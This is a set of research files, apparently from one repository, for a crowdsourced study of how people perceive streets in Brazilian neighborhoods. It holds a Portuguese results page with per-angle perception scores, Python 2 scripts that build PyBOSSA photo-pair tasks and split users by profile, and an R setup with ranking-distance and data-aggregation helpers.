## 1 188 3.888287 0.3308425 4.050400 3.726174
## 2 222 3.584719 0.5927011 3.875143 3.294296
## 3 300 3.478283 0.6775678 3.810292 3.146275
## 4 370 3.677732 0.2474235 3.798970 3.556495
## 5 392 3.670540 0.1297131 3.734100 3.606981</code></pre>
<p>Para a Manoel percebemos <strong>uma variação de aproximadamente 0.4</strong> nas médias do QScore do número 300 e do número 188. Esta diferença parece um indicativo de variações sutis de preferências dos usuários de acordo com as condições de manutenção na rua, lixo.</p>
<p>Analisando os scores de cada ângulo em cada ponto da rua, pode-se observar que, apesar das notas tipicamente baixas, <strong>as maiores diferenças variam de 0.3 a 1.54 entre ângulos do mesmo número</strong>. Por exemplo:</p>
<ul>
<li>No número 370, no ângulo 315 temos aprox. 0.6 a menos do melhor ponto da rua;</li>
<li>No número 300, ângulo 315 temos aprox. 1.6 a menos do melhor ponto da rua;</li>
<li>No número 222, ângulo 22 temos 1.2 a menos do melhor ponto da rua;</li>
</ul>
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_22.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 188, 22 -> 4.169664
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_135.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 188, 135 -> 3.716483
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_203.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 188, 203 -> 3.506638
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_315.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 188, 315 -> 4.160362
</div>
</div>
</div>
####### Sumário do Número 188 : Max. 4.169664 Min: 3.506638 Diff: 0.6630259
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_22.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 222, 22 -> 2.821541
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_135.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 222, 135 -> 3.41305
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_203.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 222, 203 -> 4.102155
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_315.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 222, 315 -> 4.002131
</div>
</div>
</div>
####### Sumário do Número 222 : Max. 4.102155 Min: 2.821541 Diff: 1.280614
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_22.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 300, 22 -> 3.365975
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_135.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 300, 135 -> 3.1836
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_203.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 300, 203 -> 4.454767
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_315.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 300, 315 -> 2.90879
</div>
</div>
</div>
####### Sumário do Número 300 : Max. 4.454767 Min: 2.90879 Diff: 1.545977
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_22.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 370, 22 -> 3.480796
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_135.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 370, 135 -> 3.95528
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_203.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 370, 203 -> 3.817134
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_315.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 370, 315 -> 3.45772
</div>
</div>
</div>
####### Sumário do Número 370 : Max. 3.95528 Min: 3.45772 Diff: 0.4975601
<div class="row">
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_22.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 392, 22 -> 3.544967
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_112.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 392, 112 -> 3.635557
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_225.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 392, 225 -> 3.649341
</div>
</div>
<div class="col-xs-3">
<img src='https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_293.jpg' width='300px'>
<div class="caption">
R._Manoel_Pereira_de_Araújo 392, 293 -> 3.852295
</div>
</div>
</div>
####### Sumário do Número 392 : Max. 3.852295 Min: 3.544967 Diff: 0.3073274
<div class='row'>
<p>Com esse nível de detalhe conseguimos confrontar os scores com as imagens e perceber que:</p>
<ul>
<li>Apesar da média geral baixa e de uma maior homogeneidade da rua, ainda assim existem cenas/locais que despertam sentimentos e emoções ainda mais negativos nas pessoas. Essas observações são importantes porque acrescentam que, apesar dos QScores sugerirem que a rua toda é mais problemática que as demais avaliadas, existem pontos ainda mais críticos na rua;</li>
<li>No número 370, no ângulo 315 temos ainda mais barracas e sujo na rua;</li>
<li>No número 300, ângulo 315 temos alguns prédios mais antigos e pouco cuidados combinados com itens na rua;</li>
<li>No número 222, ângulo 22 temos prédios em pior estado de conservação combinados com itens na rua;</li>
</ul>
<p>De forma geral as fotos percebemos que, conforme esperado, em geral os locais possuem um nível ruim de manutenção o que condiz com as notas mais baixas de percepção (em torno de 3-4).</p>
</div>
</div>
</div>
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<file_sep>import sys
from sets import Set
def parseUserData(lines):
""" Reading user data """
fAgra = Set([])
fSeg = Set([])
mAgra = Set([])
mSeg = Set([])
sAgra = Set([])
sSeg = Set([])
cAgra = Set([])
cSeg = Set([])
for line in lines:
data = line.split("|")
userID = int(data[0])
profile = data[1].split("+")
tasksIDAgra = eval(data[2])
tasksIDSeg = eval(data[3])
if len(data[1]) > 0:
#Separating by sex
#print str(profile)+"\t"+str(len(data[1]))
if profile[1].lower()[0] == 'f':
#fTasksAgra.update(tasksIDAgra)
#fTasksSeg.update(tasksIDSeg)
fAgra.add(userID)
fSeg.add(userID)
else:
#mTasksAgra.update(tasksIDAgra)
#mTasksSeg.update(tasksIDSeg)
mAgra.add(userID)
mSeg.add(userID)
#Separating by relationship
if profile[6].lower()[0] == 's':
#sTasksAgra.update(tasksIDAgra)
#sTasksSeg.update(tasksIDSeg)
sAgra.add(userID)
sSeg.add(userID)
elif profile[6].lower()[0] == 'c':
#cTasksAgra.update(tasksIDAgra)
#cTasksSeg.update(tasksIDSeg)
cAgra.add(userID)
cSeg.add(userID)
#print("F x m\t" + str(list(fTasksAgra.intersection(mTasksAgra)))+"\t"+str(list(fTasksSeg.intersection(mTasksSeg)))+"\n")
#print("S x c\t" + str(list(sTasksAgra.intersection(cTasksAgra)))+"\t"+str(list(sTasksSeg.intersection(cTasksSeg)))+"\n")
solteiros = open("solteiro.dat", "w")
for userID in sAgra:
solteiros.write(str(userID)+"\n")#FIXME: add tasksID
solteiros.close()
casados = open("casado.dat", "w")
for userID in cAgra:
casados.write(str(userID)+"\n")
casados.close()
fem = open("feminino.dat", "w")
for userID in fAgra:
fem.write(str(userID)+"\n")
fem.close()
mas = open("masculino.dat", "w")
for userID in mAgra:
mas.write(str(userID)+"\n")
mas.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com ids, tarefas e perfis dos usuarios>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
dataFile.close()
usersTasks = parseUserData(lines)
<file_sep>
import random
import sys
import glob
def get_photos(photosToCreate):
"""
Gets public photos from Flickr feeds
:arg string size: Size of the image from Flickr feed.
:returns: A list of photos.
:rtype: list
"""
urlPadrao = "http://socientize.lsd.ufcg.edu.br/"
urlAlmirante = "http://socientize.lsd.ufcg.edu.br/almirante/"
urlRodrigues = "http://socientize.lsd.ufcg.edu.br/rodrigues/"
urlFloriano = "http://socientize.lsd.ufcg.edu.br/floriano/"
listOfAlmirante = glob.glob('/home/pybossa023/pybossa/pybossa/almirante/*.jpg')
listOfRodrigues = glob.glob('/home/pybossa023/pybossa/pybossa/rodrigues/*.jpg')
listOfFloriano = glob.glob('/home/pybossa023/pybossa/pybossa/floriano/*.jpg')
photos = []
allPhotos = [listOfAlmirante, listOfFloriano, listOfRodrigues]
counter = 0
print str(photosToCreate) + " " + str(counter)
while counter < photosToCreate:
#Choose streets
list1 = random.choice(allPhotos)
list2 = random.choice(allPhotos)
#Choose a photo from selected street
choosed1 = random.choice(list1)
choosed2 = random.choice(list2)
while choosed1 == choosed2:
choosed1 = random.choice(list1)
choosed2 = random.choice(list2)
imgUrl_c = urlPadrao + choosed1.split("/")[5] + "/" + choosed1.split("/")[6]
imgUrl_a = urlPadrao + choosed2.split("/")[5] + "/" + choosed2.split("/")[6]
print imgUrl_c
print imgUrl_a
element = {'url_c': imgUrl_c, 'url_a': imgUrl_a}
element2 = {'url_c': imgUrl_a, 'url_a': imgUrl_c}
if(element in photos or element2 in photos):
continue
else:
print element
photos.append(element)
counter = counter + 1
print photos
return photos
def createCSV(photos):
file = open("tarefas.csv", "w")
file.write("question,url_a,url_c\n")
print photos
for photo in photos:
file.write("Qual local lhe parece mais...?,"+photo['url_c']+","+photo['url_a']+"\n")
file.close()
if __name__ == "__main__":
if len(sys.argv) < 1:
print "Uso: <numero de tarefas a serem geradas>"
sys.exit(1)
photos = get_photos(int(sys.argv[1]))
createCSV(photos)
<file_sep># -*- coding: utf-8 -*-
# This file is part of PyBOSSA.
#
# PyBOSSA is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# PyBOSSA is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with PyBOSSA. If not, see <http://www.gnu.org/licenses/>.
import urllib
import urllib2
import re
import json
import string
import glob
import random
import sys
from sets import Set
def escolhe_pontos():
leste = [[]]
#leste[0] = glob.glob('/home/david/Universidade/doutorado/leste/josep/*.jpg')
oeste = [[], []]
oeste[0] = glob.glob('/home/david/Universidade/doutorado/oeste/liberdade/*.jpg')
oeste[1] = glob.glob('/home/david/Universidade/doutorado/oeste/catole/*.jpg')
norte = [[], [], []]
#norte[0] = glob.glob('/home/david/Universidade/doutorado/norte/jardim/*.jpg')
#norte[1] = glob.glob('/home/david/Universidade/doutorado/norte/alto/*.jpg')
norte[0] = glob.glob('/home/david/Universidade/doutorado/norte/centro/*.jpg')
#sul = [[], []]
#sul[0] = glob.glob('/home/david/Universidade/doutorado/sul/bodocongo/*.jpg')
#sul[1] = glob.glob('/home/david/Universidade/doutorado/sul/prata/*.jpg')
#leste[0] = recupera_lugar_unico(leste[0])
oeste[0] = recupera_lugar_unico(oeste[0])
oeste[1] = recupera_lugar_unico(oeste[1])
norte[0] = recupera_lugar_unico(norte[0])
#norte[1] = recupera_lugar_unico(norte[1])
#norte[2] = recupera_lugar_unico(norte[2])
#sul[0] = recupera_lugar_unico(sul[0])
#sul[1] = recupera_lugar_unico(sul[1])
#print "JOSEP " + str(len(leste[0]))
#print "LIB " + str(len(oeste[0]))
#print "CAT " + str(len(oeste[1]))
#print "JAR " + str(len(norte[0]))
#print "ALTO " + str(len(norte[1]))
#print "CEN " + str(len(norte[2])) + str(norte[2])
#print "BOD " + str(len(sul[0]))
#print "PRA " + str(len(sul[1])) + str(sul[1])
#return [random.sample(leste[0], 12), random.sample(oeste[0], 12), random.sample(oeste[1], 12), random.sample(norte[0], 12), random.sample(norte[1], 12), random.sample(norte[2], 12), random.sample(sul[0], 12), random.sample(sul[1], 12)]
resultado = []
#resultado.append(leste[0])
resultado.append(oeste[0])
resultado.append(oeste[1])
resultado.append(norte[0])
return resultado
def escolhe_fotos(pontos):
#print pontos
todasFotos = []
for listaBairro in pontos:
for ponto in listaBairro:
fotos = glob.glob(ponto+'*.jpg')
#print "Fotos " + str(fotos) + " " + str(ponto)
#escolhida = random.choice(fotos)
#print "Escolhida " + str(escolhida)
#todasFotos.append(escolhida)
for foto in fotos:
todasFotos.append(foto)
return todasFotos
def recupera_lugar_unico(places):
newPlaces = []
for place in places:
if len(place) > 0:
dados = place.split("__")
newPlaces.append(dados[0]+"__"+dados[1].split("_")[0])
return Set(newPlaces)
def get_photos_votes(size="big"):
"""
Gets photos from folders
"""
urlPadrao = "http://socientize.lsd.ufcg.edu.br/bairros/"
pontos = escolhe_pontos()
todasFotos = escolhe_fotos(pontos)[0:10]
print str(todasFotos)
# For each photo ID create its direct URL according to its size:
# big, medium, small (or thumbnail) + Flickr page hosting the photo
photos = []
paresSorteados = []
contagemPorFoto = {}
participacaoPorFoto = 6 #expected 66 * 5
soma = 0
fotosOriginais = list(todasFotos)
#rand = random.SystemRandom()
while len(todasFotos) > 0:
#Escolhendo foto1
foto1 = random.choice(todasFotos)
cont = 0
if contagemPorFoto.has_key(foto1):
cont = contagemPorFoto.get(foto1)
while cont >= participacaoPorFoto:
foto1 = random.choice(todasFotos)
cont = 0
if contagemPorFoto.has_key(foto1):
cont = contagemPorFoto.get(foto1)
#Escolhendo foto2
if len(todasFotos) <= 10:#Evitando loop com poucas fotos sem pares disponiveis
foto2 = random.choice(fotosOriginais)#Escolhendo foto2
while foto2 == foto1:
foto2 = random.choice(fotosOriginais)
else:
foto2 = random.choice(todasFotos)
while foto2 == foto1:
foto2 = random.choice(todasFotos)
cont2 = 0
if contagemPorFoto.has_key(foto2):
cont2 = contagemPorFoto.get(foto2)
#Par de fotos já foi sorteado ou foto2 já atingiu a cota mínima!
if (foto2 in todasFotos and cont2 >= participacaoPorFoto) or [foto1, foto2] in paresSorteados or [foto2, foto1] in paresSorteados:
#print "Pulando com " + str(foto1) + " " + str(foto2) + str(cont) + " " + str(cont2)
continue
else:
#Criando tarefa
imgUrl_c = urlPadrao + foto1.split("/")[5] + "/" + foto1.split("/")[6] + "/" + foto1.split("/")[7]
imgUrl_a = urlPadrao + foto2.split("/")[5] + "/" + foto2.split("/")[6] + "/" + foto2.split("/")[7]
element = {'url_c': imgUrl_c, 'url_a': imgUrl_a}
photos.append(element)
paresSorteados.append([foto1, foto2])
soma = soma + 1
cont = cont + 1
cont2 = cont2 + 1
contagemPorFoto[foto1] = cont
contagemPorFoto[foto2] = cont2
if cont >= participacaoPorFoto and foto1 in todasFotos:
todasFotos.remove(foto1)
if cont2 >= participacaoPorFoto and foto2 in todasFotos:
todasFotos.remove(foto2)
#print "Sorteou : " + str(element) + str(len(todasFotos))
print ">>> Returning with "+str(participacaoPorFoto)+ " " + str(soma)
return photos
def get_photos_partial(size="big"):
"""
Gets public photos from Flickr feeds
:arg string size: Size of the image from Flickr feed.
:returns: A list of photos.
:rtype: list
"""
urlPadrao = "http://socientize.lsd.ufcg.edu.br/bairros/"
leste = []
leste.append(glob.glob('/home/david/Universidade/doutorado/leste/mirante/*.jpg'))
leste.append(glob.glob('/home/david/Universidade/doutorado/leste/josep/*.jpg'))
leste.append(glob.glob('/home/david/Universidade/doutorado/leste/novab/*.jpg'))
leste.append(glob.glob('/home/david/Universidade/doutorado/leste/santo/*.jpg'))
leste.append(glob.glob('/home/david/Universidade/doutorado/leste/vilac/*.jpg'))
oeste = []
oeste.append(glob.glob('/home/david/Universidade/doutorado/oeste/itarare/*.jpg'))
oeste.append(glob.glob('/home/david/Universidade/doutorado/oeste/liberdade/*.jpg'))
oeste.append(glob.glob('/home/david/Universidade/doutorado/oeste/distrito/*.jpg'))
oeste.append(glob.glob('/home/david/Universidade/doutorado/oeste/catole/*.jpg'))
oeste.append(glob.glob('/home/david/Universidade/doutorado/oeste/cidades/*.jpg'))
norte = []
norte.append(glob.glob('/home/david/Universidade/doutorado/norte/jardim/*.jpg'))
norte.append(glob.glob('/home/david/Universidade/doutorado/norte/alto/*.jpg'))
norte.append(glob.glob('/home/david/Universidade/doutorado/norte/jardimc/*.jpg'))
sul = []
sul.append(glob.glob('/home/david/Universidade/doutorado/sul/univ/*.jpg'))
sul.append(glob.glob('/home/david/Universidade/doutorado/sul/bodocongó/*.jpg'))
sul.append(glob.glob('/home/david/Universidade/doutorado/sul/pedregal/*.jpg'))
sul.append(glob.glob('/home/david/Universidade/doutorado/sul/prata/*.jpg'))
sul.append(glob.glob('/home/david/Universidade/doutorado/sul/serrotao/*.jpg'))
bairros = [[leste[0], oeste[0], norte[0], sul[0]], [leste[1], oeste[1], norte[1], sul[1]], [leste[2], oeste[2], norte[2], sul[2]]]
photos = []
expected = 0 #expected 66 * 5
soma = 0
#Creating pairs for each group of 4 neighborhoods
for i in range(0, 3):
grupoAtual = bairros[i]
for j in range(0, len(grupoAtual)):
for k in range(j+1, len(grupoAtual)):
bairro1 = grupoAtual[j]
bairro2 = grupoAtual[k]
photos1 = random.sample(bairro1, 5)
photos2 = random.sample(bairro2, 5)
expected = expected + 1
for photoIndex in range(0, 5):
imgUrl_c = urlPadrao + photos1[photoIndex].split("/")[5] + "/" + photos1[photoIndex].split("/")[6] + "/" + photos1[photoIndex].split("/")[7]
imgUrl_a = urlPadrao + photos2[photoIndex].split("/")[5] + "/" + photos2[photoIndex].split("/")[6] + "/" + photos2[photoIndex].split("/")[7]
element = {'url_c': imgUrl_c, 'url_a': imgUrl_a}
photos.append(element)
soma = soma + 1
#Comparing groups of neighborhoods
for i in range(0, 3):
grupoAtual = bairros[i]
for j in range(i+1, len(bairros)):
proximoGrupo = bairros[j]
for grupoAtualIndex in range(0, len(grupoAtual)):
for proximoGrupoIndex in range(0, len(proximoGrupo)):
bairro1 = grupoAtual[grupoAtualIndex]
bairro2 = proximoGrupo[proximoGrupoIndex]
photos1 = random.sample(bairro1, 5)
photos2 = random.sample(bairro2, 5)
expected = expected + 1
for photoIndex in range(0, 5):
imgUrl_c = urlPadrao + photos1[photoIndex].split("/")[5] + "/" + photos1[photoIndex].split("/")[6] + "/" + photos1[photoIndex].split("/")[7]
imgUrl_a = urlPadrao + photos2[photoIndex].split("/")[5] + "/" + photos2[photoIndex].split("/")[6] + "/" + photos2[photoIndex].split("/")[7]
element = {'url_c': imgUrl_c, 'url_a': imgUrl_a}
photos.append(element)
soma = soma + 1
print ">>> Returning with "+str(expected)+ " " + str(soma)
return photos
def get_photos(size="big"):
"""
Gets public photos from Flickr feeds
:arg string size: Size of the image from Flickr feed.
:returns: A list of photos.
:rtype: list
"""
# Get the ID of the photos and load it in the output var
# add the 'ids': '25053835@N03' to the values dict if you want to
# specify a Flickr Person ID
#print('Contacting Flickr for photos')
urlPadrao = "http://socientize.lsd.ufcg.edu.br/bairros/"
#urlAlmirante = "http://socientize.lsd.ufcg.edu.br/bairros/almirante/"
#urlRodrigues = "http://socientize.lsd.ufcg.edu.br/bairros/rodrigues/"
#urlFloriano = "http://socientize.lsd.ufcg.edu.br/bairros/floriano/"
leste = []
leste.append(glob.glob('/home/david/Universidade/doutorado/leste/mirante/*.jpg'))
leste.append(glob.glob('/home/david/Universidade/doutorado/leste/josep/*.jpg'))
leste.append(glob.glob('/home/david/Universidade/doutorado/leste/novab/*.jpg'))
leste.append(glob.glob('/home/david/Universidade/doutorado/leste/santo/*.jpg'))
leste.append(glob.glob('/home/david/Universidade/doutorado/leste/vilac/*.jpg'))
oeste = []
oeste.append(glob.glob('/home/david/Universidade/doutorado/oeste/itarare/*.jpg'))
oeste.append(glob.glob('/home/david/Universidade/doutorado/oeste/liberdade/*.jpg'))
oeste.append(glob.glob('/home/david/Universidade/doutorado/oeste/distrito/*.jpg'))
oeste.append(glob.glob('/home/david/Universidade/doutorado/oeste/catole/*.jpg'))
oeste.append(glob.glob('/home/david/Universidade/doutorado/oeste/cidades/*.jpg'))
norte = []
norte.append(glob.glob('/home/david/Universidade/doutorado/norte/jardim/*.jpg'))
norte.append(glob.glob('/home/david/Universidade/doutorado/norte/alto/*.jpg'))
norte.append(glob.glob('/home/david/Universidade/doutorado/norte/jardimc/*.jpg'))
sul = []
sul.append(glob.glob('/home/david/Universidade/doutorado/sul/univ/*.jpg'))
sul.append(glob.glob('/home/david/Universidade/doutorado/sul/bodocongó/*.jpg'))
sul.append(glob.glob('/home/david/Universidade/doutorado/sul/pedregal/*.jpg'))
sul.append(glob.glob('/home/david/Universidade/doutorado/sul/prata/*.jpg'))
sul.append(glob.glob('/home/david/Universidade/doutorado/sul/serrotao/*.jpg'))
bairros = [leste[0], leste[1], leste[2], oeste[0], oeste[1], oeste[2], norte[0], norte[1], norte[2], sul[0], sul[1], sul[2]]
# For each photo ID create its direct URL according to its size:
# big, medium, small (or thumbnail) + Flickr page hosting the photo
photos = []
expected = 0 #expected 66 * 5
soma = 0
#return get_photos_from_file(numberOfPairs)
for i in range(0, 12):
for j in range(i+1, 12):
bairro1 = bairros[i]
bairro2 = bairros[j]
photos1 = random.sample(bairro1, 5)
photos2 = random.sample(bairro2, 5)
print "Sorteados " + " " + str(len(photos1))
print "Sorteados " + " " + str(len(photos2))
expected = expected + 1
for photoIndex in range(0, 5):
imgUrl_c = urlPadrao + photos1[photoIndex].split("/")[5] + "/" + photos1[photoIndex].split("/")[6] + "/" + photos1[photoIndex].split("/")[7]
imgUrl_a = urlPadrao + photos2[photoIndex].split("/")[5] + "/" + photos2[photoIndex].split("/")[6] + "/" + photos2[photoIndex].split("/")[7]
element = {'url_c': imgUrl_c, 'url_a': imgUrl_a}
photos.append(element)
soma = soma + 1
#for idx, photo in enumerate(output['items']):
# print 'Retrieved photo: %s' % idx
# imgUrl_m = photo["media"]["m"]
# imgUrl_b = string.replace(photo["media"]["m"], "_m.jpg", "_b.jpg")
# photos.append({'url_m': imgUrl_m,
# 'url_b': imgUrl_b})
print ">>> Returning with "+str(expected)+ " " + str(soma)
return photos
<file_sep>```{r setup, include=FALSE}
library(stringr)
require(gmodels)
require(vcd)
require(lme4)
library(nlme)
library(caret)
library(pscl)
library(DT)
library(ggplot2)
theme_set(theme_bw())
library(GGally)
library(dplyr, warn.conflicts = F)
library(broom)
library(car)
library(readr)
source("../analisaICPorFoto.R")
sample_size <- function(x) {
return ( ( ( sd(x) * qnorm(1-(0.05/2)) ) / ( 0.05 * mean(x) ) ) ** 2) #95% confidence interval, significance level of 0.05 (alpha) - sample 100
}
mergeSort <- function(x){
if(length(x) == 1){
inv <- 0
} else {
n <- length(x)
n1 <- ceiling(n/2)
n2 <- n-n1
y1 <- mergeSort(x[1:n1])
y2 <- mergeSort(x[n1+1:n2])
inv <- y1$inversions + y2$inversions
x1 <- y1$sortedVector
x2 <- y2$sortedVector
i1 <- 1
i2 <- 1
while(i1+i2 <= n1+n2+1){
if(i2 > n2 || (i1 <= n1 && x1[i1] <= x2[i2])){
x[i1+i2-1] <- x1[i1]
i1 <- i1 + 1
} else {
inv <- inv + n1 + 1 - i1
x[i1+i2-1] <- x2[i2]
i2 <- i2 + 1
}
}
}
return (list(inversions=inv,sortedVector=x))
}
numberOfInversions <- function(x){
r <- mergeSort(x)
return (r$inversions)
}
normalizedKendallTauDistance2 <- function(data1, data2){
x <- data1
y <- data2
tau = numberOfInversions(order(x)[rank(y)])
print(tau)
nItens = length(x)
maxNumberOfInverstions <- (nItens*(nItens-1))/2
normalized = tau/maxNumberOfInverstions
print (normalized)
}
#Reading CrowdFlower features data
dadosg1 <- read.csv("../regressao100/g1.csv")
dadosg2 <- read.csv("../regressao100/g2.csv")
dadosg3 <- read.csv("../regressao100/g3.csv")
dadosg4 <- read.csv("../regressao100/g4.csv")
dadosg5 <- read.csv("../regressao100/g5.csv")
dadosg6 <- read.csv("../regressao100/g6.csv")
dadosg7 <- read.csv("../regressao100/g7.csv")
dadosg8 <- read.csv("../regressao100/g8.csv")
dadosg9 <- read.csv("../regressao100/g9.csv")
dadosg10 <- read.csv("../regressao100/g10.csv")
dadosg11 <- read.csv("../regressao100/g11.csv")
dadosg12 <- read.csv("../regressao100/g12.csv")
dadosg13 <- read.csv("../regressao100/g13.csv")
#Summing features values - left and right
somaValores <- function(dados1, dados2, desvio1, desvio2, uplimit){
dados1[is.na(dados1)] <- 0
dados2[is.na(dados2)] <- 0
soma = dados1 + dados2
desvios = (desvio1 + desvio2)/2
desvio = sd(soma)
soma <- ifelse(soma < 0, 0, soma)
soma <- ifelse(soma > uplimit, uplimit, soma)
return (mean(soma))
}
#Mean of features values - left and right
mediaValores <- function(dados1, dados2, desvio1, desvio2, uplimit){
for (i in 1:length(dados1)){
if(is.na(dados1[i])){
dados1[i] <- dados2[i]
}
if(is.na(dados2[i])){
dados2[i] <- dados1[i]
}
}
soma = (dados1 + dados2) / 2
desvios = (desvio1 + desvio2)/2
desvio = sd(soma)
soma <- ifelse(soma < 0, 0, soma)
soma <- ifelse(soma > uplimit, uplimit, soma)
return (mean(soma))
}
#Creating values for the cases where only 1 answer was obtained considering the desviations of other features answers
geraValores <- function(lista, question, desvios, uplimit){
#desvio = sd(lista)
return (mean(lista, na.rm = TRUE))
}
Mode <- function(x) {
ux <- unique(x)
ux[which.max(tabulate(match(x, ux)))]
}
#Grouping by image and question - G1
by_image <- group_by(dadosg1, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE) )
groupedData1 <- summarise(by_image,
#count = n(),
q1 = geraValores(question1, "1", desvios, 100),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 100),
q2_left = geraValores(question2__left_side, "2l", desvios, 100),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 100),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 100)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Grouping by image and question- G2
by_image <- group_by(dadosg2, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE) )
groupedData2 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 100),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 200),
q2_left = geraValores(question2__left_side, "2l", desvios, 100),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 100),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 100)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Grouping by image and question - G3
by_image <- group_by(dadosg3, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData3 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 5),
q1_left = geraValores(question1__left_side, "1l", desvios, 5),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 5),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 5),
q2_left = geraValores(question2__left_side, "2l", desvios, 5),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 5),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = mediaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 5),
q3_left = geraValores(question3__left_side, "3l", desvios, 5),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 5)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Grouping by image and question - G4
